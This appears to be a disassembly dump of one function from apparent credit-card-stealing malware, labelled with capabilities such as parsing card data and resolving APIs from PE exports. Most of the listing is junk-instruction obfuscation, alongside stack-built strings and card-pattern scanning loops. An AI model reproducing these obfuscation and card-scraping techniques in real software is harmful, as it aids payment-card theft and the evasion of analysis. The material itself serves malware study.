Function at 0x406164
Capabilities:
Get number of processors
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
add esp, 4
and edx, 0x9cfa
add edx, 0x7c4a
pop edx
push eax
call 0x405f90
add byte [ebx + 0x4e], al
xor eax, 0x83434a4d
les eax, [eax + ebx*2]
mov byte [ebp - 0xbf0], 0x52
mov byte [ebp - 0xbef], 0xb9
mov byte [ebp - 0xbee], 0x10
mov byte [ebp - 0xbed], 0x10
mov byte [ebp - 0xbec], 0x10
mov byte [ebp - 0xbeb], 0x10
mov byte [ebp - 0xbea], 0x5a
push edx
push ecx
add esp, 4
sub edx, 0x947d
pop edx
push edx
push edx
add esp, 4
jmp 0x405fde
pop edx
push edi
push eax
add esp, 4
sub edi, 0x86d3
pop edi
push ecx
push edi
add esp, 4
or ecx, 0x9200
pop ecx
mov byte [ebp - 0xbe8], 0x52
mov byte [ebp - 0xbe7], 0xb9
mov byte [ebp - 0xbe6], 0x20
mov byte [ebp - 0xbe5], 0x20
mov byte [ebp - 0xbe4], 0x20
mov byte [ebp - 0xbe3], 0x20
mov byte [ebp - 0xbe2], 0x5a
push ecx
push ebx
add esp, 4
and ecx, 0x922f
pop ecx
push edi
push edx
add esp, 4
xor edi, 0xa639
or edi, 0x1e76
or edi, 0xc2ea
pop edi
push edx
sub edx, 0x9e72
add edx, 0x178ca
pop edx
mov dword [ebp - 0x20d0], 0xe
push ecx
push ebx
add esp, 4
xor ecx, 0x16479
xor ecx, 0x7a31
or ecx, 0x5bc6
add ecx, 0x2252
pop ecx
push edx
and edx, 0xd3a4
add edx, 0x1753f
add edx, 0x3682
pop edx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbf0]
mov dword [ebp - 0x15cc], eax
push ecx
push eax
add esp, 4
sub ecx, 0x17fa9
add ecx, 0xe4bd
add ecx, 0xc39
pop ecx
push eax
and eax, 0xeda3
or eax, 0x24b1
or eax, 0x15830
xor eax, 0xe01b
pop eax
mov dword [ebp - 0x20d4], 0xffffffff
push eax
sub eax, 0x17ea9
or eax, 0x1ebc
jmp 0x4060f9
sub eax, 0xe4f1
pop eax
push ecx
push edi
add esp, 4
jmp 0x40610c
or ecx, 0x17463
add ecx, 0xe2
pop ecx
mov ecx, dword [ebp - 0x3f4]
mov dword [ebp - 0x500], ecx
jmp 0x406136
mov edx, dword [ebp - 0x500]
add edx, 1
mov dword [ebp - 0x500], edx
push ebx
push esi
add esp, 4
or ebx, 0x3fdd
pop ebx
push eax
sub eax, 0x15077
pop eax
push ebx
jmp 0x406154
call 0x406164
add byte [esi], bh
inc esi
inc eax
inc edi
inc esi
aaa
cmp al, 0x4f
inc edi
xor eax, 0x5b04c483
mov eax, dword [ebp - 0x500]
sub eax, dword [ebp - 0x3f4]
cmp eax, 0xffffffff
jb 0x4061b0
push eax
push edi
add esp, 4
jmp 0x406186
or eax, 0xb023
or eax, 0xff22
pop eax
push edx
push ebx
add esp, 4
or edx, 0xdd2a
sub edx, 0x639d
sub edx, 0xf86a
pop edx
jmp 0x4063de
mov dword [ebp - 0xc84], 7
mov ecx, dword [ebp - 0x500]
mov dword [ebp - 0xad0], ecx
push edx
push ecx
add esp, 4
and edx, 0x584d
sub edx, 0x6fbf
jmp 0x4061df
pop edx
push edi
push eax
add esp, 4
or edi, 0x4dc5
xor edi, 0x4524
sub edi, 0x13245
pop edi
mov edx, dword [ebp - 0x15cc]
mov dword [ebp - 0xacc], edx
mov dword [ebp - 0xc88], 0
mov eax, dword [ebp - 0x500]
cmp eax, dword [ebp - 0x15cc]
jne 0x40625f
push esi
push edi
add esp, 4
and esi, 0xde3f
pop esi
push ebx
push edx
add esp, 4
or ebx, 0x111c3
sub ebx, 0x4e00
and ebx, 0x11cf0
xor ebx, 0xbe1
pop ebx
push esi
xor esi, 0xa91a
pop esi
mov ecx, dword [ebp - 0xc88]
mov dword [ebp - 0x15d4], ecx
jmp 0x406390
cmp dword [ebp - 0xc84], 0
jle 0x406384
push eax
and eax, 0x15981
and eax, 0x15972
jmp 0x40627f
pop eax
push ebx
push ecx
add esp, 4
or ebx, 0x15763
call 0x40629a
add byte [ebx + 0x38], cl
xor eax, 0x3f50344d
dec ecx
cmp al, byte [ebx - 0x74a4fb3c]
xchg ebp, eax
xor ch, dh
invalid
mov edx, dword [ebp - 0xc88]
mov dword [ebp - 0x15d4], edx
cmp dword [ebp - 0x15d4], 0
jne 0x4063d9
push eax
xor eax, 0xb9c5
add eax, 0x1b8f
pop eax
push edi
push ebx
add esp, 4
xor edi, 0xae56
pop edi
push eax
push ecx
add esp, 4
sub eax, 0x2fdf
pop eax
push ebx
push edx
add esp, 4
add ebx, 0x42fe
pop ebx
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0x3e4], eax
jmp 0x40641a
jmp 0x406127
push ebx
push ebx
add esp, 4
jmp 0x4063ea
pop ebx
push edi
jmp 0x4063f5
pop edi
push esi
or esi, 0x7efa
or esi, 0x5df6
or esi, 0x169bb
xor esi, 0x58e6
pop esi
mov dword [ebp - 0x3e4], 0
push ebx
xor ebx, 0x1734f
call 0x406431
add byte [eax + 0x34], al
inc edi
dec esp
aas
xor al, 0x3a
cmp al, byte ds:[eax - 0x7d]
les eax, [ecx + eax*4]
jmp 0x406456
pushal
add dword [eax], eax
or edi, 0x79a0
jmp 0x406465
pop edi
push edx
push ecx
add esp, 4
call 0x40647a
add byte [edx + 0x32], cl
dec ebp
cmp eax, 0x3d403832
cmp eax, dword [ebx - 0x46a5fb3c]
add dword [eax], eax
add byte [eax], al
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbe8]
mov dword [ebp - 0x15d8], eax
push ebx
push esi
add esp, 4
sub ebx, 0xa0d0
or ebx, 0xed31
and ebx, 0x9b2e
pop ebx
push eax
sub eax, 0xb36d
sub eax, 0x4968
pop eax
push eax
push edx
add esp, 4
add eax, 0x175bd
pop eax
mov dword [ebp - 0x20d8], 0xffffffff
push edx
jmp 0x4064d7
call 0x4064e3
add byte [0x413a3e4e], bh
inc edx
add esp, 4
pop edx
push ecx
add ecx, 0x12f6d
sub ecx, 0xb358
add ecx, 0xdae4
sub ecx, 0x75d7
pop ecx
mov ecx, dword [ebp - 0x3f4]
mov dword [ebp - 0x504], ecx
jmp 0x40651e
mov edx, dword [ebp - 0x504]
add edx, 1
mov dword [ebp - 0x504], edx
push ebx
push edx
add esp, 4
or ebx, 0x15a5
pop ebx
push edx
push edx
add esp, 4
or edx, 0xd03c
xor edx, 0x4a7f
add edx, 0x78e9
sub edx, 0x5817
pop edx
push eax
add eax, 0xca05
pop eax
mov eax, dword [ebp - 0x504]
sub eax, dword [ebp - 0x3f4]
cmp eax, 0xffffffff
jb 0x406598
push eax
add eax, 0x6ea5
xor eax, 0x14558
jmp 0x406575
jmp 0x40657e
pop eax
push ebx
xor ebx, 0x1083d
sub ebx, 0x1c02
add ebx, 0x6ad4
pop ebx
jmp 0x4067c6
mov dword [ebp - 0xc8c], 7
mov ecx, dword [ebp - 0x504]
mov dword [ebp - 0xac8], ecx
push esi
push esi
add esp, 4
sub esi, 0x594d
add esi, 0x173fc
or esi, 0x8b76
pop esi
push ecx
or ecx, 0x843c
and ecx, 0x183d1
xor ecx, 0xafb5
xor ecx, 0x81c2
pop ecx
mov edx, dword [ebp - 0x15d8]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc90], 0
mov eax, dword [ebp - 0x504]
cmp eax, dword [ebp - 0x15d8]
jne 0x406647
push esi
push edi
add esp, 4
sub esi, 0x16baf
sub esi, 0x1731a
pop esi
push edx
add edx, 0xe03b
pop edx
push edi
push ecx
add esp, 4
xor edi, 0x16d77
or edi, 0x85f5
or edi, 0x8778
pop edi
mov ecx, dword [ebp - 0xc90]
mov dword [ebp - 0x15a8], ecx
jmp 0x406778
cmp dword [ebp - 0xc8c], 0
jle 0x40676c
push edx
call 0x406664
add byte [esi], bh
dec ebx
cmp dword [eax + 0x38], edx
dec ecx
xor al, 0x37
xor al, 0x83
les eax, [ecx + eax*4]
repne scasb al, byte es:[edi]
add dword [ecx], 0x4b07eb00
inc edi
aaa
cmp eax, 0x5a504f43
push esi
push ecx
add esp, 4
jmp 0x406685
pop esi
mov edx, dword [ebp - 0xac8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x406708
push edi
call 0x4066ad
add byte [eax], bh
xor bh, byte [ebx + esi]
dec esi
xor al, 0x4c
xor esi, dword [esi]
cmp byte [ebx - 0x107efb3c], al
pop ebx
push esi
add dword [eax], eax
pop edi
push ebx
push edx
add esp, 4
call 0x4066ca
add byte [ebx + 0x3f], al
cmp ecx, dword [edi + 0x45]
dec ecx
dec ebp
xor al, byte [ebx - 0x74a4fb3c]
test dword [eax], edi
cmc
invalid
push esi
and esi, 0xa02a
jmp 0x406715
xor esi, 0xccf9
pop esi
push edx
push esi
add esp, 4
jmp 0x406729
call 0x406736
add byte [ecx + 0x40], cl
aaa
inc esp
inc edi
dec ebp
add esp, 4
pop edx
mov edx, dword [ebp - 0xc8c]
sub edx, 1
mov dword [ebp - 0xc8c], edx
mov eax, dword [ebp - 0xac8]
add eax, 1
mov dword [ebp - 0xac8], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x406647
mov edx, dword [ebp - 0xc90]
mov dword [ebp - 0x15a8], edx
cmp dword [ebp - 0x15a8], 0
jne 0x4067c1
push esi
sub esi, 0xa600
call 0x406794
add byte [ecx + 0x43], al
dec ebp
inc eax
dec edi
inc ebx
add esp, 4
pop esi
push ecx
sub ecx, 0x12551
pop ecx
push ebx
push ebx
add esp, 4
add ebx, 0x1658
jmp 0x4067b2
pop ebx
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0xac4], eax
jmp 0x406802
jmp 0x40650f
push eax
push edx
add esp, 4
call 0x4067d7
add byte [edx + 0x39], cl
push eax
dec eax
inc esp
inc edx
add esp, 4
xor eax, 0x99bd
or eax, 0x154c
call 0x4067f4
add byte [ecx + 0x33], cl
inc edi
dec esi
xor ecx, dword ss:[esi + 0x3e]
add esp, 4
pop eax
mov dword [ebp - 0xac4], 0
push eax
push ecx
add esp, 4
and eax, 0x12e2b
pop eax
push eax
or eax, 0xb8ff
add eax, 0x101c5
pop eax
push edi
push edi
add esp, 4
and edi, 0x17498
and edi, 0x5ddc
xor edi, 0xa3ed
pop edi
mov byte [ebp - 0x87c], 0x45
mov byte [ebp - 0x87b], 0x78
mov byte [ebp - 0x87a], 0x69
mov byte [ebp - 0x879], 0x74
mov byte [ebp - 0x878], 0x50
mov byte [ebp - 0x877], 0x72
mov byte [ebp - 0x876], 0x6f
mov byte [ebp - 0x875], 0x63
mov byte [ebp - 0x874], 0x65
mov byte [ebp - 0x873], 0x73
mov byte [ebp - 0x872], 0x73
mov byte [ebp - 0x871], 0
push esi
push esi
add esp, 4
sub esi, 0x152e5
pop esi
push edi
and edi, 0xed22
or edi, 0x1660d
pop edi
push ebx
call 0x4068b0
add byte [ebx + 0x3c], al
aas
cmp eax, 0x83464e37
les eax, [ecx + eax*4]
retf